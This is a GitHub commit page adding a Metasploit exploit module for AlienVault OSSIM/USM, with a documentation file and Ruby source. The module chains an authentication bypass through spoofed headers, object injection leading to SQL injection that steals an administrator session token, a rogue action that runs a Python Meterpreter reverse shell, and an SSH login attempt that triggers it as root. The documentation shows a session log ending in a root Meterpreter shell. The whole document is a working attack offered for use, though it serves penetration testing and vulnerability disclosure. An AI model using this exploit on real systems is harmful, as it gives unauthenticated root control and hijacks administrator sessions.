Skip to content

Commit a9b9a58

Browse files
committed
Land rapid7#7893, Add Module AlienVault OSSIM/USM Remote Code Execution
2 parents 2a20d24 + 4ee0531 commit a9b9a58

File tree

2 files changed

+380
-0
lines changed

2 files changed

+380
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
## Vulnerable Application
2+
3+
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user.
4+
5+
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
6+
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
7+
action and policy that enables to execute operating system commands by using captured session token. As a final step,
8+
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
9+
operating system command with root user privileges.
10+
11+
This module was tested against AlienVault USM 5.2.5.
12+
13+
**Vulnerable Application Installation Steps**
14+
15+
Major version of older releases can be found at following URL.
16+
[http://downloads.eu.alienvault.com/c/download](http://downloads.eu.alienvault.com/c/download)
17+
18+
You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file.
19+
In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) .
20+
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress.
21+
22+
## Verification Steps
23+
24+
A successful check of the exploit will look like this:
25+
26+
```
27+
msf > use exploit/linux/http/alienvault_exec
28+
msf exploit(alienvault_exec) > set RHOST 12.0.0.137
29+
RHOST => 12.0.0.137
30+
msf exploit(alienvault_exec) > set LHOST 12.0.0.1
31+
LHOST => 12.0.0.1
32+
msf exploit(alienvault_exec) > check
33+
[+] 12.0.0.137:443 The target is vulnerable.
34+
msf exploit(alienvault_exec) > exploit
35+
36+
[*] Started reverse TCP handler on 12.0.0.1:4445
37+
[*] Hijacking administrator session
38+
[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4
39+
[*] Creating rogue action
40+
[+] Action created: aWbhnZFHqYbUbNW
41+
[*] Retrieving rogue action id
42+
[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1
43+
[*] Retrieving policy ctx and group values
44+
[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7
45+
[+] GROUP Value found: 00000000000000000000000000000000
46+
[*] Creating a policy that uses our rogue action
47+
[+] Policy created: ASdKHQOZVONGzfU
48+
[*] Activating the policy
49+
[+] Rogue policy activated
50+
[*] Triggering the policy by performing SSH login attempt
51+
[+] SSH - Failed authentication. That means our policy and action will be trigged..!
52+
[*] Sending stage (38500 bytes) to 12.0.0.137
53+
[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300
54+
55+
meterpreter > getuid
56+
Server username: root
57+
meterpreter >
58+
```
Lines changed: 322 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,322 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::SSH
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
17+
'Description' => %q{
18+
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
19+
Unauthenticated users can execute arbitrary commands under the context of the root user.
20+
21+
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
22+
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
23+
action and policy that enables to execute operating system commands by using captured session token. As a final step,
24+
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
25+
operating system command with root user privileges.
26+
27+
This module was tested against following product and versions:
28+
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
29+
AlienVault OSSIM 5.0.0, 4.6.1
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' =>
33+
[
34+
'Peter Lapp', # EDB advisory owner
35+
'Mehmet Ince <[email protected]>' # Metasploit module
36+
],
37+
'References' =>
38+
[
39+
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
40+
['EDB', '40682']
41+
],
42+
'DefaultOptions' =>
43+
{
44+
'SSL' => true,
45+
'WfsDelay' => 10,
46+
'Payload' => 'python/meterpreter/reverse_tcp'
47+
},
48+
'Platform' => ['python'],
49+
'Arch' => ARCH_PYTHON,
50+
'Targets' =>
51+
[
52+
['Alienvault USM/OSSIM <= 5.3.0', {}]
53+
],
54+
'Privileged' => true,
55+
'DisclosureDate' => "Jan 31 2017",
56+
'DefaultTarget' => 0
57+
))
58+
59+
register_options(
60+
[
61+
Opt::RPORT(443),
62+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
63+
], self.class)
64+
end
65+
66+
67+
def check
68+
r = rand_text_alpha(15)
69+
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
70+
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
74+
'headers' => {
75+
'User-Agent' => 'AV Report Scheduler',
76+
},
77+
'vars_get' => {
78+
'type' => 'alarm',
79+
'wtype' => 'foo',
80+
'asset' => 'ALL_ASSETS',
81+
'height' => 1,
82+
'value' => p
83+
}
84+
})
85+
86+
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
87+
Exploit::CheckCode::Vulnerable
88+
else
89+
Exploit::CheckCode::Safe
90+
end
91+
92+
end
93+
94+
95+
def exploit
96+
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
97+
print_status("Hijacking administrator session")
98+
99+
sql = "SELECT id FROM sessions LIMIT 1"
100+
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
101+
102+
res = send_request_cgi({
103+
'method' => 'GET',
104+
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
105+
'headers' => {
106+
'X-Forwarded-For' => rhost.to_s,
107+
'User-Agent' => 'AV Report Scheduler',
108+
},
109+
'vars_get' => {
110+
'type' => 'alarm',
111+
'wtype' => 'foo',
112+
'asset' => 'ALL_ASSETS',
113+
'height' => 1,
114+
'value' => p
115+
}
116+
})
117+
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
118+
admin_session = $1
119+
cookie = "PHPSESSID=#{admin_session}"
120+
print_good("Admin session token : #{cookie}")
121+
else
122+
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
123+
end
124+
125+
# Creating a Action that contains payload.
126+
print_status("Creating rogue action")
127+
r = rand_text_alpha(15)
128+
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
132+
'cookie' => cookie,
133+
'headers' => {
134+
'X-Forwarded-For' => rhost.to_s,
135+
},
136+
'vars_post' => {
137+
'id' => '',
138+
'action' => 'new',
139+
'old_name' => '',
140+
'action_name' => r,
141+
'ctx' => '',
142+
'old_descr' => '',
143+
'descr' => r,
144+
'action_type' => '2',
145+
'only' => 'on',
146+
'cond' => 'True',
147+
'email_from' => '',
148+
'email_to' => 'email;email;email',
149+
'email_subject' => '',
150+
'email_message' => '',
151+
'transferred_user' => '',
152+
'transferred_entity' => '',
153+
'exec_command' => "python -c \"#{payload.encoded}\""
154+
}
155+
})
156+
157+
if res && res.code == 200 && res.body.include?("Action successfully updated")
158+
print_good("Action created: #{r}")
159+
else
160+
fail_with(Failure::Unknown, "Unable to create action")
161+
end
162+
163+
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
164+
# Thus we're using hijacked administrator session.
165+
print_status("Retrieving rogue action id")
166+
167+
res = send_request_cgi({
168+
'method' => 'GET',
169+
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
170+
'cookie' => cookie,
171+
'headers' => {
172+
'X-Forwarded-For' => rhost.to_s,
173+
},
174+
'vars_get' => {
175+
'page' => '1',
176+
'rp' => '2000'
177+
}
178+
})
179+
180+
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
181+
action_id = $1
182+
print_good("Corresponding Action ID found: #{action_id}")
183+
else
184+
fail_with(Failure::Unknown, "Unable to retrieve action id")
185+
end
186+
187+
# Retrieving the policy data. We will use it while creating policy
188+
print_status("Retrieving policy ctx and group values")
189+
190+
res = send_request_cgi({
191+
'method' => 'GET',
192+
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
193+
'cookie' => cookie,
194+
'headers' => {
195+
'X-Forwarded-For' => rhost.to_s,
196+
},
197+
'vars_get' => {
198+
'm_opt' => 'configuration',
199+
'sm_opt' => 'threat_intelligence',
200+
'h_opt' => 'policy'
201+
}
202+
})
203+
204+
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
205+
policy_ctx = $1
206+
policy_group = $2
207+
print_good("CTX Value found: #{policy_ctx}")
208+
print_good("GROUP Value found: #{policy_group}")
209+
else
210+
fail_with(Failure::Unknown, "Unable to retrieve policy data")
211+
end
212+
213+
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
214+
print_status("Creating a policy that uses our rogue action")
215+
policy = rand_text_alpha(15)
216+
217+
res = send_request_cgi({
218+
'method' => 'POST',
219+
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
220+
'cookie' => cookie,
221+
'headers' => {
222+
'X-Forwarded-For' => rhost.to_s,
223+
},
224+
'vars_post' => {
225+
'descr' => policy,
226+
'active' => '1',
227+
'group' => policy_group,
228+
'ctx' => policy_ctx,
229+
'order' => '1',
230+
'action' => 'new',
231+
'sources[]' => '00000000000000000000000000000000',
232+
'dests[]' => '00000000000000000000000000000000',
233+
'portsrc[]' => '0',
234+
'portdst[]' => '0',
235+
'plug_type' => '1',
236+
'plugins[0]' => 'on',
237+
'taxfilters[]' =>'25@2@0',
238+
'tax_pt' => '0',
239+
'tax_cat' => '0',
240+
'tax_subc' => '0',
241+
'mboxs[]' => '00000000000000000000000000000000',
242+
'rep_act' => '0',
243+
'rep_sev' => '1',
244+
'rep_rel' => '1',
245+
'rep_dir' => '0',
246+
'ev_sev' => '1',
247+
'ev_rel' => '1',
248+
'tzone' => 'Europe/Istanbul',
249+
'date_type' => '1',
250+
'begin_hour' => '0',
251+
'begin_minute' => '0',
252+
'begin_day_week' => '1',
253+
'begin_day_month' => '1',
254+
'begin_month' => '1',
255+
'end_hour' => '23',
256+
'end_minute' => '59',
257+
'end_day_week' => '7',
258+
'end_day_month' => '31',
259+
'end_month' => '12',
260+
'actions[]' => action_id,
261+
'sim' => '1',
262+
'priority' => '1',
263+
'qualify' => '1',
264+
'correlate' => '0',
265+
'cross_correlate' => '0',
266+
'store' => '0'
267+
}
268+
})
269+
270+
if res && res.code == 200
271+
print_good("Policy created: #{policy}")
272+
else
273+
fail_with(Failure::Unknown, "Unable to create policy id")
274+
end
275+
276+
# We gotta reload all policies in order to make our rogue one enabled.
277+
print_status("Activating the policy")
278+
279+
res = send_request_cgi({
280+
'method' => 'GET',
281+
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
282+
'cookie' => cookie,
283+
'headers' => {
284+
'X-Forwarded-For' => rhost.to_s,
285+
},
286+
'vars_get' => {
287+
'what' => 'policies',
288+
'back' => '../policy/policy.php'
289+
}
290+
})
291+
292+
if res && res.code == 200
293+
print_good("Rogue policy activated")
294+
else
295+
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
296+
end
297+
298+
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
299+
factory = ssh_socket_factory
300+
opts = {
301+
auth_methods: ['password'],
302+
port: 22,
303+
use_agent: false,
304+
config: false,
305+
password: rand_text_alpha(15),
306+
proxy: factory,
307+
non_interactive: true
308+
}
309+
310+
print_status("Triggering the policy by performing SSH login attempt")
311+
312+
begin
313+
Net::SSH.start(rhost, "root", opts)
314+
rescue Net::SSH::AuthenticationFailed
315+
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
316+
rescue Net::SSH::Exception => e
317+
print_error("SSH Error: #{e.class} : #{e.message}")
318+
return nil
319+
end
320+
321+
end
322+
end

0 commit comments

Comments
 (0)